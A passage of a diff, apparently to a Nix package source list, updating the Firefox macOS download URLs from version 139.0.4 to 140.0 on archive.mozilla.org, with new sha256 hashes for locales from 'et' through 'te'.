-      sha256 = "1fe5aef83bd5e06dc90c199a30e6eba1ff4091526943db986f3c84537f0ebed3";
+      sha256 = "afe92b90c9d5d7ca95e788f7992a72e78f5096d2762d0a18f3df44a140409e9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/et/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/et/Firefox%20140.0.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "4b144faa4612ae94a859e35f3eebecb1d1b9211620910532fd1a870abc7ec420";
+      sha256 = "90300ad0c7ac283bf23daae74b55464ff645038d094b80072a194086e0273b38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/eu/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/eu/Firefox%20140.0.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "432c0021630a9b4a968ef7125abfc3dfbf9730b3ff79889e2f777150a0c3827d";
+      sha256 = "c79e912bf1aa390c9fa61380071ee626aeee46c11652d1f4a34e5ee7f8bced19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fa/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fa/Firefox%20140.0.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "0263b2636e2b0e031b90d880a1a1cefa62bbddfce62caf7f32998ddaa6c11c6b";
+      sha256 = "3e125c1b0556dae79500077697db9233f0ab0a557e3e8050b71e7595083a0b6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ff/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ff/Firefox%20140.0.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "12772b28d793b9b799be5b53c3ec4a1536bbb024876e4e1a79ced06ba239fa82";
+      sha256 = "25a37789f3e344c38562cef738aeb3e2438768ab0c4dabdb61f992bab0807f95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fi/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fi/Firefox%20140.0.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "f92075580647bb4e1c1a6e5bb9d2d6a6070d3b25133af4f19af83264e1600f52";
+      sha256 = "2b3edc6c4d891e92325c752623d508f021a67583d25ec9a6e430c4a26f7f0766";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fr/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fr/Firefox%20140.0.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "90504a396e4a4026872c12af19dfd19bb1d97b1d8968ea2ad9873fc4f2dda276";
+      sha256 = "523f5f7899db0f58f1a196905b263b0daf4e891d51a52609004a5437f37040a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fur/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fur/Firefox%20140.0.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "0cd66ee8c58052f27e0b13856c6338a1b63c413c9102f736571f7940958675af";
+      sha256 = "928732daa3c5a83ba33cc061c806f09d8332be15924272da83ebcb274ab1280c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fy-NL/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fy-NL/Firefox%20140.0.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "0cd10570538578e18e02c7b51e8460d840354bd06e28861daae67cf9e49b0f79";
+      sha256 = "251b2879f978907869cb6aee9327b9c389102113e19886d063077c44a3494257";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ga-IE/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ga-IE/Firefox%20140.0.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "87aa41740c0295b335c87c425734e24167dd8f1503ba1f04dcc37fff48122dc4";
+      sha256 = "be910f034ff43b789ac04b50c773903a3e18164a9cc8c5adefafc26eb6a332ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gd/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gd/Firefox%20140.0.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "83de5db2482bd10a915c9a68bac65e9a9e363e6cd1dd1e21ee04591db0a5ef1b";
+      sha256 = "c988d72107512c162591b9ad6c1c0b4e422b221639027b2906c96375c74e6f5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gl/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gl/Firefox%20140.0.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "a0134ebb1dcacd91c5f25565e4b2c2bedae7318e8528f0965bf28583e7c1dd8d";
+      sha256 = "5e9620dbdcd068b08415f6f1e5c831757facdc028af20cc32c3fcaa316bedab0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gn/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gn/Firefox%20140.0.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "d54c02566b8ae14d22351b00e34235a8d523a29db858c349e6b045acf581b9de";
+      sha256 = "85368c393310707d0d0c3679247e45ffd03b8e5ee902483e2fb047517a913859";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gu-IN/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/gu-IN/Firefox%20140.0.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "abfdc34b558c160e0e0404103057caf0235bf011f3f8950dbf2e30d106a9d6ee";
+      sha256 = "56b987c8c2e12f7b36ea4eb32c90c60b196b3caea031b5c204cd17dea794604d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/he/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/he/Firefox%20140.0.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "4178f39bd52b4971ad3a7aae51291b716ad777df1566aaf14637881d8f654d47";
+      sha256 = "f65fad05cc857d849c41a2e937b1a7d8fd8f2bf2eb6e07a9bce16d169a891926";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hi-IN/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hi-IN/Firefox%20140.0.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "0d78e61fb3fb8947dd96e7284fd4f74710c8fc61d7701755c0e266b2093f21de";
+      sha256 = "6c8c3d3d34402df266a8183886a60a94ccb20264e4f43459f8ec7e94dd57360e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hr/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hr/Firefox%20140.0.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "5ea7cdbc8fd8dc992584a5d869fa5006d1c1f8c62d033933579bd732e42bee4e";
+      sha256 = "12e19f3180add0643543cdf16fb8e1ee2775f1e9ac671a2b9802da0abcfa6b0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hsb/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hsb/Firefox%20140.0.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "96c9aaf1b9b176674889e777cfc12632ed9db3a68faec70444f488aee633811c";
+      sha256 = "3db483ade515fb66ef1f7d7e401ef36a930da49605c86dd24b5fb389ccfb9227";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hu/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hu/Firefox%20140.0.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "257410ceb23e6e83499ef28b31876394b7b048b83034f09ead3f11be96d34fd3";
+      sha256 = "77785cce6ea6c618e7a3211dba42381ffc2bd87732f967cf9954169fb407772b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hy-AM/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/hy-AM/Firefox%20140.0.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "406d8e063c5cc1ec425884a93142f6e830683634cbdbbf19a9768f9685d12b55";
+      sha256 = "c12471fa3da0b938772c37f3fda4c41e4bb3934bb65521402dd51520641eaa63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ia/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ia/Firefox%20140.0.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "df4608b82381b51c41151e00cb008b8a015a0718d03f18a09b25732e6f5a11ba";
+      sha256 = "b0b26e915a1e090da09655808506755e7b69b200084678980bc4d43d68207905";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/id/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/id/Firefox%20140.0.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "a4aaa52e496b42e9327e9f45f03cf5a7561636abb797b032dfa0c3d675b8146e";
+      sha256 = "83d16b2f15a51a1c7a8196b16236a0f1f7e72ba62a157a9d570760fd02c5db35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/is/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/is/Firefox%20140.0.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "8cc6b1e260b44c61400a925cbdbb966d0a902f0e41e16385662b1985abdcd795";
+      sha256 = "e25dde9001d5236d644a4e2ec2a9ecbc049ab8552d07884583557966ffb581c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/it/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/it/Firefox%20140.0.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "c682480079c6e4f620b6b8b284dbbdbd207252b73d04fbdba8288c9a866c59c1";
+      sha256 = "ff7417875f4b5c61b7857f30c55803a2e977d16f51af03259e4161848f393df3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ja-JP-mac/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ja-JP-mac/Firefox%20140.0.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "c18ba704027225ef0242f26f67c36a7041d1ec3046144d7ca2e966810297f093";
+      sha256 = "767aa8ee404a3ac4b9be5f89f630d55ccd85a743d432b7e2bce0bbbb46c27c61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ka/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ka/Firefox%20140.0.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "b2c1676fc61153bedd3f3982f1c4060af14bc38817bba726e6bcb2c09db64546";
+      sha256 = "4395b5cc101e85a3f9c7fa4b9ede792a758ea5f24d91f7a8e7af1ff9105f83fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kab/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kab/Firefox%20140.0.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "f1554093d387fe1594dd18809ac8389afc8cff6825776b63b1a767829ee1654c";
+      sha256 = "fb615390c7e8c890096c7eb230e4862bbf3f4ad37e5ca791acdb276049086420";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kk/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kk/Firefox%20140.0.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "25638b911edf9f048e1cb572fade0859717a534706dc47209ddc1c51dc0922a2";
+      sha256 = "74d44581a25c2e30597a99a279d3e37d544f170b48debf8ca765e399b2286690";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/km/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/km/Firefox%20140.0.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "3faa1af1ca8f0bb154e5869b89d9917b20bd8412cf04949395d9da43a852329c";
+      sha256 = "c728746ff9d57247451ec5a494d6a0925da59c2c052500472ffdd8c3e52cabc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kn/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/kn/Firefox%20140.0.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "335fb5839de6fc6920291279dc6b8818b793337e1d8638f9cf157578da0c0dec";
+      sha256 = "00e42306ed4eb34a1015bd851f146f324148531e3d634d1faecff6b1f7b696bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ko/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ko/Firefox%20140.0.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "3128c4737cd097eecfa21726ad83e66980b3d3b5f45048db0b855fa8991df9c4";
+      sha256 = "7bead55e834069698c72c22de573406c8177fb27a1f6174a34813295efe3aca5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lij/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lij/Firefox%20140.0.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "6f7f425011d071dca7df6fe90e7fc92b60dbc4e1f1d370d5dbf2b6ddaab3ecc7";
+      sha256 = "02bbbfc3904758ad5dc3abc0c02d94a5f6c3e82fed504dd1d9fb415fb2096aa2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lt/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lt/Firefox%20140.0.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "7b8e7547f8c00067ddbf3d241464dcf5badbc243165d106e19397908f2f2aeaf";
+      sha256 = "b9d6135116d665564fa405de90ea33f3b730c9c6296c5e7210bfff720ffac031";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lv/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/lv/Firefox%20140.0.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "a302243b62092df91c71b599bc2163276eca95902cce0601cc078d0566bf8fd4";
+      sha256 = "47fc8e61bd3b7af1bfeee046a96038fcf6e066231787051281a5fc477052ec65";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/mk/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/mk/Firefox%20140.0.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "86204f6459eb1b2911ba33b14ddcc980b00d6c594991ac3c2761abbe5565c0e3";
+      sha256 = "aa28371d9f707869af43f1973e3b91c24840a0ef9cab4e2b86a0f21d3bc66941";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/mr/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/mr/Firefox%20140.0.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "561d755efb2679d4633d05179e5f40b1fe248152ca4761b16ea4fc22d1e22563";
+      sha256 = "93b81363da4279e55c1adbbdc92bb4925259f7ff5b62af8864bd083bb7d63e0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ms/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ms/Firefox%20140.0.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "bb141b43428f737e2ba51684db29227e0cae38dfd1b10179e39f362c95bbd25e";
+      sha256 = "0d364950485cabcd358fe5d8e35fbbbf84894bb5d70c1e5deaa2e4790e892a8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/my/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/my/Firefox%20140.0.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "e7de2a6cdcd380a320a25a7af7c55e672f3663e23a083c5b8f9ddf976406fba3";
+      sha256 = "b8b0f6c1fc3329a186dae0cc27b7852e3aacc8dcaac6b7e11ffe24973485e687";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nb-NO/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nb-NO/Firefox%20140.0.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "2820e7fe079d6380ab0b17694bf3c92e9d170e2ed7409385d88bb4c2938dd0fa";
+      sha256 = "a0a7cdd84ede13ab5e333177fdd0e0abb2fc53c065667d9401dd394bc88dacd6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ne-NP/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ne-NP/Firefox%20140.0.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "fee6597075f76447647e946ae07a6d52befe6503bdaeba811d5b1c91064f9bc7";
+      sha256 = "0a02f26ba81ece40b45ec87879e5ac797adc36a74d3d850a439259e97f69c8b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nl/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nl/Firefox%20140.0.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "77990db73258c0d0154bb60a231673953ee1764aea5b74594ab2c53b4a842549";
+      sha256 = "fe605c4f24d30adb984f9d466427064996665fc46d93fda121cb475249de51a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nn-NO/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/nn-NO/Firefox%20140.0.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "989109b352cea0a86d940d740511e87f0df7647a92d13553b08547802938a199";
+      sha256 = "9c9f431f5c95e036bd77c8bd3cc91f78cf949812e361ec77ab5de29cb4454985";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/oc/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/oc/Firefox%20140.0.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "723ce4b024b3122fb9540191dff60c13439b02e464f55263448a25af3d62c3e8";
+      sha256 = "2ff26c27720dd961b9d42b52dd1eb9bb366b525b682bd01e7028320183375daa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pa-IN/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pa-IN/Firefox%20140.0.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "0e3f52eff557e2f932808ebed3f945410d77cea2f464597ebf5ae8633a40850e";
+      sha256 = "844be22b0a8405895c7023f17a876dc795378510129dd85aa1316e9836458f3a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pl/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pl/Firefox%20140.0.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "bc7efd404ad0d2229abc23c1f86e34666520fde23ef240f079b4858a38d0c2ae";
+      sha256 = "c5607951ab65e4ef4423aac64b106b1c27a6b413761b7751304c0204323d27c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pt-BR/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pt-BR/Firefox%20140.0.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "2b1ebc065b613420f62889885fe80145a298af98bd0c4b5e5de30907a990d831";
+      sha256 = "32a91038ea6ae1469fdbae91e67fa8d65bf4d4359dafdfbdadcbd613130eca86";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pt-PT/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/pt-PT/Firefox%20140.0.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "83cd9b7ce08cdbe9c5b2e6ec9c08fe66fdbc0390c2bcdbc29afe9948896b2794";
+      sha256 = "baee5014326c90d7ac41cba4862a42c44a70cdbef77627e7fc93bab1fd4ce8c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/rm/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/rm/Firefox%20140.0.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "4eb6d711138e79e9f54e9b471366f3f6597870faa1888266f9aeb11a9e99ba19";
+      sha256 = "5b171e4cce7ca88d2c620dba26c9b3b2941e4e0465ea3388fec1efdf1c681ce3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ro/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ro/Firefox%20140.0.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "1be921022c549ba21a6fcb43dc340ac758526284ffa1b9276a8ebf035e3ad19c";
+      sha256 = "e3b46ba679fae5642d634ac48112e12374458e78a463493e97afdb8b06534413";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ru/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ru/Firefox%20140.0.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "86d13a9741f3d4833f0396e2aa861c0752551d96834fd19fbcc702c9e2481b16";
+      sha256 = "274982f5872ecfa90aec643d36e5f32d14eb0ae504597e9279f562b1eec116a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sat/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sat/Firefox%20140.0.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "f3c5804d0c67625d5a99e5eff23608717beaf501c67e3afc45aeb7c6a7e41b72";
+      sha256 = "1a4e6709373fcc14da59cd88c2aed3c331d415198129cdcfbc3e2f02c2072d33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sc/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sc/Firefox%20140.0.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "b72b0b375fb4c0e5219f3ca20d5341c3661399f53280fcb88284f74efb13f9e5";
+      sha256 = "a3f41539a9139325f119f4cb00a212377b73d94801d2c481a174412199df63cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sco/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sco/Firefox%20140.0.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "59b7a195a106dbe0eb1f63d5bb909150be235c87a80822094a7ec5fb4f4012ba";
+      sha256 = "71f55579c8ed8b3608b1ead9f2063d88936c5e7b66eb34562f4fca13ad06c255";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/si/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/si/Firefox%20140.0.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "e5d43658711bce6ce97c5574fdb8619ace7d519ba43c5801aec6abd68af4a33c";
+      sha256 = "f61f9095d9eecd80da4db323b938ee0d2a79ad2d7b6d412960ecd00484e402ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sk/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sk/Firefox%20140.0.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "6af5643493b2bf6bf4e03d872656f7adef2c776cd7c977065e88f2b3cd7b6754";
+      sha256 = "7f97d6f7f331799999b40674662301dd1bc7744d1dd783f03e8bae12711f4aa2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/skr/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/skr/Firefox%20140.0.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "4026ae3d0eeb24e54b2d4c562fae11f186a848576fc7ffde4780f3b3e135f02e";
+      sha256 = "d2840f66ad2a0281c0cf362631963ff5a99b77a39bcbc956aae3c11d1bc0bce4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sl/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sl/Firefox%20140.0.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "7c3f9fe1117f43a68efdf46e245320960c3c72f64ec5e0af048736177e54326a";
+      sha256 = "daf4e6a94a060f92419d9ad3474dc005a82755bfda7c15a8e174e15d78f2e8fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/son/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/son/Firefox%20140.0.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "7da2f4a3dd1366bdcda44cbe9b403d2ff6730c8d924498aa5df70b0ab5d59181";
+      sha256 = "e6761f721df1866d6dcb0c8fc2ef6d6f87e8cc739a30597bd4873e154b890ca0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sq/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sq/Firefox%20140.0.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "8bb9038523a4c6f84ff56b5e53e7e69b3af8037070d4417b0d14b560f6e6a4b1";
+      sha256 = "2ec1dee5c8552f510c847d9ff9d30e98ad6d51d44e43cc801e6bcded2339dcf8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sr/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sr/Firefox%20140.0.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "a896b61f56d414820b0c133bcd07e4d47093b9b85efddd560d08ea5c1b4922ca";
+      sha256 = "8a57d2bf77e497e2988afc172b0e198a115699dd90162e888a950b8be4689f8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sv-SE/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/sv-SE/Firefox%20140.0.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "3e897ef4eb7ce809a4c372788b8e8b99aec3fdf81a401ee1641670f64d354c06";
+      sha256 = "428b00960c2b5897a78265f32bfa9a065456cd674a690305173f41493ab529ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/szl/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/szl/Firefox%20140.0.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "1c7229bed317ceff4dfd6304004aa1148189019cd7241f5b5fd966f0a9a0148c";
+      sha256 = "35b79dd5e1913d8c22ccb3e440c3dbc3d8170e7977893921aa28b882ae3d48b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ta/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ta/Firefox%20140.0.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "df7507990a863894ef7cfcfafd4d11747f8178c8abe37f0bd33d2c3bfde485b0";
+      sha256 = "8cb9812857e15d6c755d6b0b7479b5d69fa1b1d69f4b8ec149ec8ef50d79120e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/te/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/te/Firefox%20140.0.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "095a1a6429f394effd24d4b44f9d25cf7517aec0e4cdb923451e5f76a57dda86";
+      sha256 = "5f88a5fc49b8074e9bbf990c676f8d3782b68a61a583f4cc69514dd04d213655";
     }
